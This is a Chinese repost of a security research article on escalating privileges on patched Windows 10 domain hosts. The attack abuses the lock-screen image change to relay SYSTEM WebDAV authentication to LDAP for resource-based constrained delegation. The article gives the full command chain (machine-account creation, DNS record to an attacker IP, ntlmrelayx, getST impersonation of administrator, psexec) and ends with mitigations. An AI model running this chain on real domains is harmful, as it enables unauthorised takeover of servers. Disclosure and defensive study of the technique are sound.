本篇文章为大家展示了如何在满补丁的Win10域主机上绕过图形接口依赖实现本地提权,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。
小编的目的是向大家展示,如何在打满补丁的Win10域主机上绕过图形接口依赖实现本地提权。你可能已经注意到了[1],这种攻击并不新鲜,但我们已经删除了它的一些依赖项,同时我们也已自动化了该过程,以简化我们的操作过程。
截至本文撰写,攻击者仍需满足以下条件,才能使用此技术妥协Active Directory计算机对象:
具有至少一个ServicePrincipalName (SPN)的帐户。此帐户将被配置为受害者系统上的“允许代表其他身份(Allowed To Act On Behalf Of Other Identity)”,并将用于调用S4U2self和S4U2proxy协议。
必须在受害计算机上安装WebDAV Redirector功能。这是因为WebDAV客户端不协商签名,因此允许身份验证中继到LDAP。
SMB中继可以使用最近发现的signing/MIC NTLM绕过来实现,但这已被微软修复了。[6] [7]
指向攻击者计算机的DNS记录。WebDAV客户端将仅自动向Intranet区域中的主机进行身份验证。这意味着使用IP而非主机名是行不通的。
访问GUI以使用“Create your picture --> Browse for one”功能。其中一个步骤是由System(因此,计算机帐户在网络中)完成的,并且可以指定WebDAV路径(\\maliciousWebDav@80\pics\pic.jpg)
以下信息对尝试满足上述依赖非常有用:
1. 默认的Active Directory ms-DS-MachineAccountQuota属性,允许所有域用户向域中添加最多10个计算机帐户[4]。另外,计算机帐户具有其SPN属性的值,因此允许使用S4U协议。
2. 在Windows 10上,默认情况下已安装WebDAV客户端。在Windows Server 2012R2及更早版本中,需要桌面体验功能(Desktop Experience feature )。 在Windows Server 2016及更高版本上,必须手动安装WebDAV Redirector 功能。
3. 默认情况下,经过身份验证的用户在Active Directory集成DNS(ADIDNS)区域中,具有“创建所有子对象”ACL。这样可以创建新的DNS记录。
前三个条件很容易满足,因为它们代表了默认的Active Directory和Windows配置。但是,GUI的依赖在我们的场景中着实是一个令人感到沮丧的限制。
作为第一种方法,我们研究了使用API或Windows命令实用程序来更改配置文件图像 - 但并没有成功。然而,我们发现了通过对锁屏图像的操作可以暴露出相同的攻击路径。
以下截图说明了这一点。
注意:在发表这篇文章前几天,Elad Shamir发表文章称他还发现了这个锁屏图像攻击路径。有关他的研究可以在[12]中找到。
在研究锁屏图像功能时,我们发现在本例中,可以使用API来执行锁屏图像更改[3]。使用这个API,我们最终通过命令行实现了SYSTEM网络身份验证。
编写PowerShell脚本和C#程序集以利用此API。我们调用了实用程序Change-Lockscreen,它可以在以下链接中找到:
https://github.com/nccgroup/Change-Lockscreen
使用此工具,指示提供图像的WebDAV的路径,Change-Lockscreen将执行导致所需网络身份验证的操作。
请注意,默认情况下,Windows 10具有一个名为Windows Spotlight的功能。此功能会自动下载并显示锁屏图像。启用此功能后,Change-Lockscreen将禁用它,并建立参数中指定的图像(尝试使用opsec)。但是,如果用户设置了一个静态的、自定义的锁屏图像而不是使用Spotlight,则Change-Lockscreen将备份该图像,并在攻击完成后将其放回原位。
最初,我们使用3xocyte(与Elad Shamir合作)开发的rbcd_relay.py委托中继工具[5]。虽然这在我们的一些测试场景中非常有用,但它并没有涵盖我们所需的一切。因此,我们决定通过执行pull请求,在3xcely的工作和SecureAuth的Impacket项目[13]中添加我们自己的内容。
我们向ntlmrelayx添加了一个名为--serve-image的新标志。使用此标志,ntlmrelayx将提供指定的图像以满足攻击的目的。
此外,为了利用WebDAV的服务器功能,有必要在httprelayserver.py中实现OPTIONS和PROPFIND方法。OPTIONS方法用于通知客户端支持并启用PROPFIND方法。它是PROPFIND请求,其中包括NTLM身份验证,因此这个请求将被中继以执行攻击(示例请求如下图所示)。
示例用法如下:
ntlmrelayx.py -t ldap://dc01.capsule.corp --delegate-access --escalate-user machine$ --serve-image ./spot.jpg
这些功能已经在Impacket中合并,你可以在以下位置找到:
https://github.com/SecureAuthCorp/impacket
以下是有关使用Change-Lockscreen和ntlmrelayx攻击的视频演示:
以下步骤对应于上述视频内容:
1. 我们需要一个具有ServicePrincipalName属性值的帐户,才能调用S4U2Self和S4U2Proxy。我们可以滥用默认的Active Directory ms-DS-MachineAccountQuota属性,将计算机帐户添加到域中并使用它(Powermad [11])。
$pass = ConvertTo-SecureString ‘NCC1234!’ -AsPlainText -Force ; New-MachineAccount –MachineAccount s4umachine -Password $pass
2. 我们必须创建一个指向攻击者机器(攻击者IP)的DNS记录(ImageServer.capsule.corp)。
$cred = New-Object System.Management.Automation.PSCredential (“CAPSULE\s4umachine”, $pass); Invoke-DNSUpdate -DNSType A -DNSName ImageServer.capsule.corp -DNSData 10.10.11.137 -Credential $cred -Realm capsule.corp
3. 我们通过使用low-priv用户来更改锁屏图像来触发Fileserver的网络身份验证。
Change-Lockscreen –Webdav \\imageserver@80\
4. 使用ntlmrelayx,身份验证将中继到LDAP。这允许我们修改机器的msDS-AllowedToActOnBehalfOfOtherIdentity属性。
Ntlmrelayx.py -t ldap://dc01.capsule.corp --delegate-access --escalate-user s4umachine$ --serve-image ./spot.jpg
5. 现在,我们可以使用受信任的计算机(S4UMachine$)模拟文件服务器上任意服务的任意用户。
getST.py capsule\s4umachine:’NCC1234!’@fileserver.capsule.corp -spn cifs/fileserver.capsule.corp -impersonate administrator -dc-ip 10.10.11.128 Export KRB5CCNAME=administrator.ccache Psexec.py -k -no-pass fileserver.capsule.corp
以下短视频以图形、概念化的方式向大家展示了攻击中涉及的各个步骤。
以下几点有助于缓解和检测此类攻击:
由于此攻击依赖于能够为自身配置基于Kerberos资源的约束委派的计算机,因此拒绝自己写入msDS-AllowedToActOnBehalfOfOtherIdentity属性的计算机上的新ACE,将有助于缓解此攻击面。
对msDS-AllowedToActOnBehalfOfOtherIdentity属性,实施适当的SACL将有助于检测对此功能的修改。
最后,通过channel绑定启用LDAP签名,可以缓解使用此攻击执行的身份验证中继。
上述内容就是如何在满补丁的Win10域主机上绕过图形接口依赖实现本地提权,你们学到知识或技能了吗?如果还想学到更多技能或者丰富自己的知识储备,欢迎关注亿速云行业资讯频道。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。